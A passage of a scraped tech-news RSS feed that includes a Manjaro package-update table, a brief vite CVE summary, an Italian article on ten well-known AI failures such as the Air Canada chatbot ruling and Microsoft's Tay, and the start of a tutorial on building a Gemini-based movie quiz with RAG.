                  syncthing-relaysrv             1.27.6-1             1.27.7-1
                                  uv             0.1.39-1             0.1.41-1
                              vector             0.37.1-1             0.38.0-1
                            wasmtime             20.0.1-1             20.0.2-1
                              waybar             0.10.2-2             0.10.3-1
                     add-determinism                    -              0.2.0-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2024-05-08           2024-05-14
-------------------------------------------------------------------------------
                      lib32-pcsclite              2.1.0-1              2.2.0-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-linux-firmware-mkinitcpio-php-plymouth/161487/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
            <p><small>2 posts - 1 participant</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-linux-firmware-mkinitcpio-php-plymouth/161487">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer Snapshots: Programmierer-News in ein, zwei Sätzen]]></title>
<description><![CDATA[Unsere Übersicht kleiner, interessanter Meldungen enthält unter anderem boost, VS Code, SEP, Postgres, GCC, Symphony, Ionic, esbuild und calcite.]]></description>
<link>https://tsecurity.de/de/2129194/it-nachrichten/developer-snapshots-programmierer-news-in-ein-zwei-saetzen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2129194/it-nachrichten/developer-snapshots-programmierer-news-in-ein-zwei-saetzen/</guid>
<pubDate>Tue, 30 Apr 2024 04:35:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unsere Übersicht kleiner, interessanter Meldungen enthält unter anderem boost, VS Code, SEP, Postgres, GCC, Symphony, Ionic, esbuild und calcite.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-31207 | vite server.fs.deny access control]]></title>
<description><![CDATA[A vulnerability was found in vite. It has been classified as problematic. Affected is an unknown function. The manipulation of the argument server.fs.deny leads to improper access controls.

This vulnerability is traded as CVE-2024-31207. It is possible to launch the attack remotely. There is no ...]]></description>
<link>https://tsecurity.de/de/2126752/sicherheitsluecken/cve-2024-31207-vite-serverfsdeny-access-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2126752/sicherheitsluecken/cve-2024-31207-vite-serverfsdeny-access-control/</guid>
<pubDate>Sun, 28 Apr 2024 05:23:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.vite">vite</a>. It has been classified as <a href="https://vuldb.com/?kb.risk">problematic</a>. Affected is an unknown function. The manipulation of the argument <em>server.fs.deny</em> leads to improper access controls.

This vulnerability is traded as <a href="https://vuldb.com/?source_cve.259314">CVE-2024-31207</a>. It is possible to launch the attack remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[10 celebri disastri provocati dall’intelligenza artificiale]]></title>
<description><![CDATA[Nel 2017, The Economist ha dichiarato [in inglese] che i dati, alla pari del petrolio, sono diventati la risorsa più preziosa del mondo e, da allora, questo stesso ritornello è stato ripetuto più volte. Le aziende di tutti i settori hanno investito e continuano a investire pesantemente in dati e ...]]></description>
<link>https://tsecurity.de/de/2116271/it-security-nachrichten/10-celebri-disastri-provocati-dallintelligenza-artificiale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2116271/it-security-nachrichten/10-celebri-disastri-provocati-dallintelligenza-artificiale/</guid>
<pubDate>Sat, 20 Apr 2024 08:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Nel 2017, <strong><em><a href="https://www.economist.com/leaders/2017/05/06/the-worlds-most-valuable-resource-is-no-longer-oil-but-data" rel="nofollow">The Economist ha dichiarato [in inglese]</a></em></strong> che i dati, alla pari del petrolio, sono diventati la risorsa più preziosa del mondo e, da allora, questo stesso ritornello è stato ripetuto più volte. Le aziende di tutti i settori hanno investito e continuano a investire pesantemente in dati e analisi. Ma, come il petrolio, i dati e le analisi hanno il loro lato oscuro.</p>



<p>Secondo il rapporto State of the CIO 2023 di CIO, il 26% dei leader IT evidenzia come l’apprendimento automatico (ML) e l’IA saranno i fattori che determineranno la maggior parte degli investimenti IT. E, mentre le azioni guidate dagli <strong><a href="https://www.infoworld.com/article/3702651/the-engines-of-ai-machine-learning-algorithms-explained.html">algoritmi di ML [in inglese]</a></strong> possono dare alle imprese un vantaggio competitivo, gli errori possono essere costosi in termini di reputazione, ricavi e persino vite umane.</p>



<p>Capire i dati e ciò che ci dicono è importante, ma è altrettanto fondamentale comprendere gli strumenti, conoscere i dati e tenere ben presenti i valori dell’azienda.</p>



<p>Ecco una serie di errori commessi, nell’ultimo decennio, dalle applicazioni di intelligenza artificiale ad alto livello, in grado di illustrare che cosa può andare storto nel suo utilizzo.</p>



<h2 class="wp-block-heading">Air Canada paga i danni per le bugie del chatbot</h2>



<p>Nel febbraio del 2024, Air Canada è stata condannata a <strong><a href="https://www.theregister.com/2024/02/15/air_canada_chatbot_fine/" rel="nofollow">pagare i danni a un passeggero [in inglese]</a></strong> dopo che il suo assistente virtuale gli aveva fornito informazioni errate in un momento particolarmente difficile.</p>



<p>Jake Moffatt aveva consultato l’assistente virtuale della compagnia aerea sulle tariffe scontate in caso di lutto in seguito alla morte di sua nonna, avvenuta nel novembre del 2023. Il chatbot gli aveva detto che poteva acquistare un biglietto a prezzo normale da Vancouver a Toronto e, successivamente, richiedere uno sconto per lutto entro 90 giorni dall’acquisto. Seguendo questo consiglio, Moffatt ha acquistato un volo di sola andata per Toronto al costo di 794,98 dollari canadesi, e uno di ritorno per Vancouver, pagandolo 845,38 dollari canadesi.</p>



<p>Tuttavia, quando Moffatt ha presentato la richiesta di rimborso, la compagnia aerea lo ha respinto, dicendo che le tariffe per il lutto non possono essere richieste dopo l’acquisto dei biglietti.</p>



<p>Moffatt ha portato Air Canada davanti a un tribunale canadese, sostenendo che la compagnia aerea è stata negligente e ha fornito informazioni errate tramite il suo assistente virtuale. <strong><a href="https://decisions.civilresolutionbc.ca/crt/crtd/en/item/525448/index.do" rel="nofollow">Secondo il membro del tribunale [in inglese]</a></strong> Christopher Rivers, Air Canada ha sostenuto di non poter essere ritenuta responsabile per le informazioni fornite dal suo chatbot.<br><br>Rivers ha rigettato l’argomentazione, affermando che la compagnia aerea non ha adottato “una cura ragionevole per garantire che il suo chatbot fosse stato addestrato in maniera accurata”, e ha ordinato all’azienda di risarcire il passeggero con 812,02 dollari australiani, inclusi i 650,88 di danni.</p>



<h2 class="wp-block-heading">Sports Illustrated potrebbe aver pubblicato articoli di falsi scrittori generati dall’IA</h2>



<p>Nel novembre del 2023, la rivista online <em>Futurism</em> ha scoperto che <em>Sports Illustrated</em> stava pubblicando <strong><a href="https://futurism.com/sports-illustrated-ai-generated-writers" rel="nofollow">articoli di scrittori non in carne e ossa ma generati dall’intelligenza artificiale [in inglese]</a></strong>.</p>



<p>Citando fonti anonime, <em>Futurism</em> ha affermato che la storica rivista sportiva pubblicava i contenuti di “molti” autori falsi, alcuni dei quali anche generati dall’IA.</p>



<p>La rivista online ha trovato l’elenco dei loro nomi elencati su un sito che vende profili creati dall’intelligenza artificiale e ha, quindi, contattato The Arena Group, editore di <em>Sports Illustrated</em> che, in una dichiarazione, ha rilevato che gli articoli in questione erano contenuti concessi in licenza da una terza parte, AdVon Commerce.</p>



<p>“Monitoriamo costantemente i nostri partner e stavamo effettuando una revisione quando sono state sollevate queste accuse”, ha dichiarato Arena Group nella dichiarazione fornita a <em>Futurism</em>. “AdVon ci ha assicurato che tutti gli articoli in questione sono stati scritti e redatti da persone”.</p>



<p>Nella dichiarazione si leggeva anche che gli scrittori di AdVon in alcuni articoli avevano usato pseudonimi, e che il Gruppo Arena non perdona questo genere di azioni, per poi rimuovere i contenuti in questione dal sito web di <em>Sports</em> <em>Illustrated</em>.</p>



<p>In risposta all’articolo di <em>Futurism</em>, il sindacato dell’editore statunitense <strong><a href="https://twitter.com/si_union/status/1729245677690012152" rel="nofollow">ha rincarato la dose [in inglese]</a></strong>, dicendosi inorridito dalle accuse e chiedendo risposte e trasparenza alla direzione di Arena Group.</p>



<p>“Se sono vere, queste pratiche violano tutto ciò in cui crediamo nel giornalismo”, ha dichiarato il sindacato di <em>SI</em> nella sua dichiarazione. “Deploriamo il fatto di essere associati a qualcosa di così irrispettoso per i nostri lettori”.</p>



<h2 class="wp-block-heading">Gannett AI sbaglia gli articoli sportivi delle scuole superiori</h2>



<p>Nell’agosto del 2023, il gruppo editoriale Gannett ha annunciato di voler <strong><a href="https://www.cnn.com/2023/08/30/tech/gannett-ai-experiment-paused/index.html" rel="nofollow">sospendere l’uso di uno strumento di intelligenza artificiale [in inglese]</a></strong> chiamato LedeAI, dopo che diversi contenuti delle sue testate scritti dall’intelligenza artificiale sono diventati virali perché erano mal scritti, ripetitivi, e privi di dettagli-chiave.</p>



<p>La CNN ha citato un esempio, conservato dalla <strong><a href="https://web.archive.org/web/20230828215700/https:/www.dispatch.com/story/sports/high-school/2023/08/19/worthington-christian-earns-narrow-win-over-westerville-north-in-ohio-high-school-boys-soccer-action/70634736007/" rel="nofollow">Wayback Machine dell’Internet Archive [in inglese]</a></strong>, che si apriva con: “Il Worthington Christian [[WINNING_TEAM_MASCOT]] ha sconfitto il Westerville North [[LOSING_TEAM_MASCOT]] 2-1 in una partita di calcio maschile che si è giocata sabato in Ohio”.</p>



<p>Inoltre, ha trovato altre storie simili scritte dal sistema in altri giornali locali di Gannett, tra cui <em>Louisville Courier Journal</em>, <em>AZ Central</em>, <em>Florida Today</em> e il <em>Milwaukee Journal Sentinel</em>.</p>



<p>Dopo che le storie sono state derise sui social media, Gannett ha deciso di sospendere l’uso di LedeAI in tutte le edizioni locali che utilizzavano il servizio.</p>



<p>In una dichiarazione alla CNN, il CEO della società, Jay Allred, ha espresso il suo rammarico e ha promesso un impegno costante per correggere i problemi.</p>



<h2 class="wp-block-heading">L’IA per il recruitment di iTutor Group che rifiuta i candidati a seconda della loro età</h2>



<p>Nell’agosto del 2023, la società di tutoring iTutor Group <strong><a href="https://www.cio.com/storage.courtlistener.com/recap/gov.uscourts.nysd.575368/gov.uscourts.nysd.575368.31.0.pdf">ha accettato di pagare 365.000 dollari [in inglese]</a></strong> per risolvere <strong><a href="https://www.eeoc.gov/newsroom/eeoc-sues-itutorgroup-age-discrimination" rel="nofollow">una causa [in inglese]</a></strong> intentata dalla US Equal Employment Opportunity Commission (EEOC). L’agenzia federale ha accusato l’azienda, che fornisce servizi di supporto a distanza per la ricerca di lavoro agli studenti in Cina, ha utilizzato un software di recruitment alimentato dall’intelligenza artificiale che rifiutava automaticamente le candidate di sesso femminile di età pari o superiore a 55 anni, e i candidati di sesso maschile di età pari o superiore a 60 anni.</p>



<p>L’EEOC ha dichiarato che più di 200 candidati qualificati sono stati automaticamente respinti dal software.</p>



<p>“La discriminazione in base all’età è ingiusta e illegale”, sono state le parole della presidente dell’EEOC, Charlotte A. Burrows, espresse in un comunicato. “Anche quando è la tecnologia ad automatizzare la discriminazione, la responsabilità ricade sul datore di lavoro”.</p>



<p>iTutor Group ha negato qualsiasi illecito, ma ha deciso di patteggiare e, come parte dell’accordo e del decreto di consenso, ha accettato di adottare nuove policy anti-discriminazione.</p>



<h2 class="wp-block-heading">ChatGPT e le hallucination sui casi giudiziari</h2>



<p>I progressi compiuti nel 2023 dai large language models (LLM) hanno suscitato un interesse diffuso per il potenziale di trasformazione dell’IA generativa in quasi tutti i settori. ChatGPT di OpenAI è stata al centro di questa ondata di interesse, prefigurando come questo sottoinsieme dell’intelligenza artificiale abbia il potere di sconvolgere la natura del lavoro in quasi tutti gli angoli del mondo degli affari.</p>



<p>Ma la tecnologia ha ancora una lunga strada da percorrere prima di potersi fare carico in modo affidabile della maggior parte dei processi aziendali, come ha imparato l’avvocato Steven A. Schwartz, che si è trovato nei guai con lo US Disctrict Judge P. Kevin Castel nel 2023, dopo aver usato ChatGPT per ricercare dei precedenti in una causa contro la compagnia aerea colombiana Avianca.</p>



<p>Schwartz, avvocato di Levidow, Levidow &amp; Oberman, ha impiegato il chatbot generativo di OpenAI per trovare casi precedenti a sostegno di una causa intentata dal dipendente di Avianca Roberto Mata per le lesioni subite nel 2019. Il problema? Almeno sei dei casi presentati nella memoria non esistevano. In un <strong><a href="https://www.cio.com/storage.courtlistener.com/recap/gov.uscourts.nysd.575368/gov.uscourts.nysd.575368.31.0.pdf">documento depositato a maggio [in inglese]</a></strong>, il Giudice Castel ha notato che il rapporto di Schwartz includeva nomi e numeri di pratica falsi, oltre a citazioni fasulle. Il partner dell’avvocato, Peter LoDuca, era il legale di Mata e ha firmato il documento, mettendo a rischio anche se stesso.</p>



<p>In una <strong><a href="https://www.cio.com/storage.courtlistener.com/recap/gov.uscourts.nysd.575368/gov.uscourts.nysd.575368.32.1_1.pdf">dichiarazione giurata [in inglese]</a></strong>, Schwartz ha detto al tribunale che era la prima volta che utilizzava ChatGPT come fonte di ricerca legale e “non era a conoscenza della possibilità che il suo contenuto potesse essere falso”. Ha ammesso di non aver verificato le fonti fornite dal chatbot. Ha anche detto che “si rammarica molto di aver utilizzato l’intelligenza artificiale generativa per integrare la ricerca legale eseguita, e che non lo farà mai più in futuro senza aver fatto una verifica assoluta della sua autenticità”.</p>



<p>Nel giugno del 2023, il Giudice Castel ha imposto una multa di 5.000 dollari a Schwartz e LoDuca. In una sentenza separata, ha poi respinto la causa di Mata contro Avianca.</p>



<h2 class="wp-block-heading">Gli algoritmi di intelligenza artificiale che identificano tutto tranne il COVID-19</h2>



<p>Da quando, nel 2020, è iniziata la pandemia di COVID-19, numerose aziende hanno cercato di applicare algoritmi di intelligenza artificiale nell’aiutare gli ospedali a visitare i pazienti e a fare diagnosi più velocemente. Ma, secondo il Turing Institute del Regno Unito, un centro nazionale per la scienza dei dati e IIA, <strong><a href="https://www.cio.com/www.turing.ac.uk/sites/default/files/2021-06/data-science-and-ai-in-the-age-of-covid_full-report_2.pdf">gli strumenti predittivi hanno fatto poca o nessuna differenza [in inglese]</a></strong>.</p>



<p><strong><a href="https://www.technologyreview.com/2021/07/30/1030329/machine-learning-ai-failed-covid-hospital-diagnosis-pandemic/" rel="nofollow">MIT Technology Review [in inglese]</a> </strong>ha descritto una serie di fallimenti, la maggior parte dei quali deriva da errori nel modo in cui gli strumenti sono stati addestrati o testati. L’uso di dati etichettati in modo errato, o provenienti da fonti sconosciute, è stato il colpevole più comune.</p>



<p>Derek Driggs, ricercatore di ML presso l’Università di Cambridge, insieme ai suoi colleghi, <strong><a href="https://www.nature.com/articles/s42256-021-00307-0" rel="nofollow">ha pubblicato un articolo su Nature Machine Intelligence [in inglese]</a></strong> che esplorava l’uso di modelli deep learning per diagnosticare il virus. Il documento ha stabilito che la tecnica non è adatta all’uso clinico. Per esempio, il gruppo di Driggs ha scoperto che il proprio modello era difettoso perché era stato addestrato su un set di dati che includeva radiografie e altri esami diagnostici di pazienti che erano sdraiati durante la procedura e pazienti che erano in piedi. I primi avevano molte più probabilità di essere gravemente malati, quindi l’algoritmo ha imparato a identificare il rischio COVID in base alla posizione della persona nella scansione.</p>



<p>Un esempio simile è quello che riguarda un altro algoritmo, addestrato con un set di dati che includeva esami del torace di bambini sani, il quale ha imparato a identificare questi ultimi, ma non i pazienti ad alto rischio.</p>



<h2 class="wp-block-heading">Zillow ha perso milioni di dollari e ridotto la sua forza lavoro a causa di un disastroso algoritmo per l’acquisto di case</h2>



<p>Nel novembre del 2021, il marketplace immobiliare online Zillow ha comunicato agli azionisti che avrebbe cessato le attività di Zillow Offers e tagliato il 25% della forza lavoro dell’azienda – circa 2.000 dipendenti – nei trimestri successivi. I problemi dell’unità di home-flipping sono stati causati dal tasso di errore dell’algoritmo ML utilizzato per prevedere i prezzi delle case.</p>



<p>Zillow Offers era un programma attraverso il quale l’azienda faceva offerte in contanti su proprietà basate su una “Zestimate” del valore delle case derivata da un algoritmo di ML. L’idea era di ristrutturare le proprietà e di venderle rapidamente. Ma un portavoce di Zillow <strong><a href="https://edition.cnn.com/2021/11/09/tech/zillow-ibuying-home-zestimate/index.html" rel="nofollow">ha dichiarato alla CNN [in inglese]</a></strong> che il sistema aveva un tasso di errore medio dell’1,9%, che poteva arrivare al 6,9% per le case fuori mercato.</p>



<p>La CNN ha riferito che Zillow ha acquistato 27.000 case attraverso Zillow Offers dal momento del suo lancio nell’aprile 2018, ma ne ha vendute solo 17.000 fino alla fine del settembre 2021. “Gli eventi del cigno nero”, come la pandemia COVID-19 e la carenza di manodopera per la ristrutturazione delle case, hanno accentuato le difficoltà dell’algoritmo nell’effettuare previsioni corrette.</p>



<p>Zillow ha dichiarato che, per colpa delle valutazioni errate della piattaforma di IA, ha acquistato, involontariamente, case a prezzi più alti rispetto alle sue stime reali dei prezzi di vendita futuri, con una conseguente svalutazione dell’inventario di 304 milioni di dollari nel terzo trimestre del 2021.</p>



<p>Dopo l’annuncio, in una teleconferenza con gli investitori, il co-fondatore e CEO di Zillow Rich Barton ha detto che sarebbe stato possibile modificare l’algoritmo, ma che, in definitiva, continuare a utilizzarlo sarebbe stato, comunque, troppo rischioso.</p>



<h2 class="wp-block-heading">L’algoritmo sanitario che non è riuscito a segnalare i pazienti di colore</h2>



<p>Nel 2019, uno studio pubblicato su <em>Science</em> ha rivelato che un algoritmo di previsione sanitaria, utilizzato da ospedali e compagnie assicurative in tutti gli Stati Uniti per identificare i pazienti che necessitavano di programmi di “gestione dell’assistenza ad alto rischio”, aveva molte meno probabilità di segnalare i pazienti di colore.</p>



<p>I programmi di gestione dell’assistenza ad alto rischio forniscono personale infermieristico addestrato e monitoraggio delle cure primarie ai pazienti malati cronici, nel tentativo di prevenire gravi complicazioni. Ma, per queste attività, l’algoritmo aveva molte più probabilità di selezionare i pazienti bianchi.</p>



<p>Lo studio ha, poi, rilevato che, per le previsioni, veniva utilizzava la spesa sanitaria come proxy per determinare il bisogno di assistenza sanitaria di un individuo. Ma secondo <strong><em><a href="https://www.scientificamerican.com/article/racial-bias-found-in-a-major-health-care-risk-algorithm/" rel="nofollow">Scientific American [in inglese]</a></em></strong>, i costi dell’assistenza sanitaria dei pazienti neri più malati erano alla pari con quelli bianchi più sani, il che significava che ricevevano punteggi di rischio più bassi anche quando il loro bisogno era maggiore.</p>



<p>I ricercatori dello studio hanno suggerito che all’errore hanno contribuito diversi fattori. In primo luogo, è più probabile che le persone di colore abbiano un reddito più basso, il che, anche quando sono assicurate, può renderle meno propense ad accedere alle cure mediche. I pregiudizi impliciti possono anche far sì che le persone nere ricevano un’assistenza di qualità inferiore.</p>



<p>Sebbene lo studio non abbia nominato l’algoritmo o lo sviluppatore, i ricercatori hanno dichiarato a <em>Scientific American</em> che stanno lavorando per risolvere la situazione.</p>



<h2 class="wp-block-heading">Il set di dati che ha addestrato il chatbot di Microsoft a pubblicare tweet razzisti</h2>



<p>Nel marzo del 2016, Microsoft ha imparato che l’uso delle interazioni di Twitter come <strong><a href="https://blogs.microsoft.com/blog/2016/03/25/learning-tays-introduction/#sm.00000gjdpwwcfcus11t6oo6dw79gw" rel="nofollow">dati di addestramento per gli algoritmi di ML [in inglese]</a></strong> può produrre risultati sconcertanti.</p>



<p>Quando ha rilasciato Tay, un chatbot AI, sulla piattaforma di social media, l’azienda lo ha descritto come un esperimento di “comprensione conversazionale”. L’idea era che il chatbot assumesse l’aspetto di una ragazza adolescente e interagisse con le persone tramite Twitter, utilizzando una combinazione di ML e di natural language processing. Microsoft l’ha alimentato con dati pubblici resi anonimi e con materiale scritto preventivamente da autori, per poi lasciarlo libero di imparare e di evolvere grazie alle sue interazioni sul social network.</p>



<p>In 16 ore, il chatbot ha pubblicato più di 95.000 tweet, che si sono rivelati palesemente razzisti, misogini e antisemiti. Microsoft ha rapidamente sospeso il servizio, per poi decidere di staccarne, definitivamente, la spina.</p>



<p>“Siamo profondamente dispiaciuti per gli involontari tweet offensivi di Tay, i quali non rappresentano chi siamo o cosa rappresentiamo, né il modo in cui abbiamo progettato il sistema”, ha scritto Peter Lee, Corporate VP, Microsoft Research &amp; Incubations (e sucessivamente Corporate VP di Microsoft Healthcare), in <strong><a href="https://blogs.microsoft.com/blog/2016/03/25/learning-tays-introduction/#sm.00000gjdpwwcfcus11t6oo6dw79gw" rel="nofollow">un post sul blog ufficiale [in inglese]</a></strong> dell’azienda dopo l’incidente.</p>



<p>Lee ha notato che il predecessore di Tay, Xiaoice, rilasciato da Microsoft in Cina nel 2014, aveva condotto con successo conversazioni con oltre 40 milioni di persone nei due anni precedenti al rilascio di Tay. Ciò che Microsoft non aveva preso in considerazione era che un gruppo di utenti di Twitter avrebbe immediatamente iniziato a twittare commenti razzisti e misogini a Tay. Il bot ha imparato rapidamente da quel materiale e lo ha incorporato nei propri tweet.</p>



<p>“Sebbene ci fossimo preparati per molti tipi di abusi del sistema, abbiamo commesso una svista critica per questa specifica tipologia di attacco. Di conseguenza, Tay ha twittato parole e immagini inappropriate e riprovevoli”, ha scritto Lee.</p>



<h2 class="wp-block-heading">Lo strumento di recruitment di Amazon abilitato dall’IA che selezionava soltanto uomini</h2>



<p>Come molte grandi aziende, Amazon è sempre alla ricerca di strumenti che possano aiutare la sua divisione HR a selezionare le candidature migliori. Nel 2014, la società ha iniziato a lavorare su un software di recruitment alimentato dall’intelligenza artificiale. C’era solo un problema: il sistema preferiva, di gran lunga, i candidati di sesso maschile. Nel 2018, <strong><a href="https://www.reuters.com/article/us-amazon-com-jobs-automation-insight/amazon-scraps-secret-ai-recruiting-tool-that-showed-bias-against-women-idUSKCN1MK08G/" rel="nofollow">Reuters dà la notizia [in inglese]</a></strong> <strong><a href="https://www.cio.com/article/222427/amazons-biased-ai-recruiting-tool-gets-scrapped.html">dell’abbandono del progetto da parte di Amazon [in inglese]</a></strong>.</p>



<p>La piattaforma assegnava ai candidati una valutazione a stelle da 1 a 5. Ma i modelli di ML alla sua base erano stati addestrati su 10 anni di <em>curriculum</em> inviati ad Amazon, la maggior parte dei quali da uomini. Come risultato di questo addestramento, il sistema ha iniziato a penalizzare i curricula che includevano la parola “femminile” e ha persino declassato i candidati provenienti da università di sole donne.</p>



<p>All’epoca, Amazon ha dichiarato che lo strumento non è mai stato utilizzato dai reclutatori di Amazon per valutare i candidati e ha poi cercato di modificarlo per renderlo neutrale, per decidere, infine, che non avrebbe potuto garantire l’estraneità al rischio di qualche altra discriminazione nel selezionare i candidati, e ha, pertanto, deciso di interrompere l’iniziativa.</p>
</div></div></div><category>Artificial Intelligence, Generative AI, Machine Learning</category></div>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Create an AI-Driven Movie Quiz with Gemini LLM, Python, FastAPI, Pydantic, RAG and more]]></title>
<description><![CDATA[Discover the basics of using Gemini with Python via VertexAI, creating APIs with FastAPI, data validation with Pydantic and the fundamentals of Retrieval-Augmented Generation (RAG)Photo by Kenny Eliason on UnsplashWithin this article, I share some of the basics to create a LLM-driven web-applicat...]]></description>
<link>https://tsecurity.de/de/2098830/ai-nachrichten/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2098830/ai-nachrichten/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more/</guid>
<pubDate>Fri, 05 Apr 2024 21:35:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Discover the basics of using Gemini with Python via VertexAI, creating APIs with FastAPI, data validation with Pydantic and the fundamentals of Retrieval-Augmented Generation (RAG)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qnw88gAD0ZSspoCG"><figcaption>Photo by <a href="https://unsplash.com/@neonbrand?utm_source=medium&amp;utm_medium=referral">Kenny Eliason</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Within this article, I share some of the basics to create a LLM-driven web-application, using various technologies, such as: Python, <a href="https://fastapi.tiangolo.com/">FastAPI</a>, <a href="https://docs.pydantic.dev/latest/">Pydantic</a>, <a href="https://cloud.google.com/vertex-ai">VertexAI</a> and more.</p><blockquote>You will learn how to create such a project from the very beginning and get an overview of the underlying concepts, including <strong>Retrieval-Augmented Generation</strong> (RAG).</blockquote><p><em>Disclaimer: I am using data from The Movie Database within this project. The API is free to use for non-commercial purposes and complies with the Digital Millennium Copyright Act (DMCA). For further information about TMDB data usage, please </em><a href="https://developer.themoviedb.org/docs/faq"><em>read the official FAQ</em></a><em>.</em></p><h3>Table of contents</h3><p>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#bf8e">Inspiration</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#a588">System Architecture</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#d0b3">Understanding Retrieval-Augmented Generation (RAG)</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#4cfd">Python projects with Poetry</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#ca13">Create the API with FastAPI</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#103f">Data validation and quality with Pydantic</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#fe62">TMDB client with httpx</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#040c">Gemini LLM client with VertexAI</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#2bf6">Modular prompt generator with Jinja</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#f4be">Frontend</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#809a">API examples</a><br>– <a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66#165c">Conclusion</a></p><p>The best way to share this knowledge is through a practical example. Hence, I’ll use my project <strong>Gemini Movie Detectives</strong> to cover the various aspects. The project was created as part of the <a href="https://googleai.devpost.com/">Google AI Hackathon 2024</a>, which is still running while I am writing this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wyZefMe8ovBUPmPN8h_blQ.png"><figcaption>Gemini Movie Detectives (by author)</figcaption></figure><p>Gemini Movie Detectives is a project aimed at leveraging the power of the Gemini Pro model via VertexAI to create an engaging quiz game using the latest movie data from <a href="https://www.themoviedb.org/">The Movie Database (TMDB)</a>.</p><p>Part of the project was also to make it deployable with Docker and to create a live version. Try it yourself: <a href="https://movie-detectives.com/">movie-detectives.com</a>. Keep in mind that this is a simple prototype, so there might be unexpected issues. Also, I had to add some limitations in order to control costs that might be generated by using GCP and VertexAI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nxCYo-5BtIZIvGm4fm31fA.png"><figcaption>Gemini Movie Detectives (by author)</figcaption></figure><p>The project is <strong>fully open-source</strong> and is split into two separate repositories:</p><ul><li><strong>🚀 Github repository for backend</strong>: <a href="https://github.com/vojay-dev/gemini-movie-detectives-api">https://github.com/vojay-dev/gemini-movie-detectives-api</a></li><li><strong>🖥️ Github repository for frontend</strong>: <a href="https://github.com/vojay-dev/gemini-movie-detectives-ui">https://github.com/vojay-dev/gemini-movie-detectives-ui</a></li></ul><p>The focus of the article is the backend project and underlying concepts. It will therefore only briefly explain the frontend and its components.</p><p>In the following video, I also give an overview over the project and its components:</p><a href="https://medium.com/media/bf4270fa881797cd515421b7bb646d1d/href">https://medium.com/media/bf4270fa881797cd515421b7bb646d1d/href</a><h3>Inspiration</h3><p>Growing up as a passionate gamer and now working as a Data Engineer, I’ve always been drawn to the intersection of gaming and data. With this project, I combined two of my greatest passions: gaming and data. Back in the 90’ I always enjoyed the video game series You Don’t Know Jack, a delightful blend of trivia and comedy that not only entertained but also taught me a thing or two. Generally, the usage of games for educational purposes is another concept that fascinates me.</p><p>In 2023, I organized a workshop to teach kids and young adults game development. They learned about mathematical concepts behind collision detection, yet they had fun as everything was framed in the context of gaming. It was eye-opening that gaming is not only a huge market but also holds a great potential for knowledge sharing.</p><p>With this project, called Movie Detectives, I aim to showcase the magic of Gemini, and AI in general, in crafting engaging trivia and educational games, but also how game design can profit from these technologies in general.</p><p>By feeding the Gemini LLM with accurate and up-to-date movie metadata, I could ensure the accuracy of the questions from Gemini. An important aspect, because without this Retrieval-Augmented Generation (RAG) methodology to enrich queries with real-time metadata, there’s a risk of propagating misinformation — a typical pitfall when using AI for this 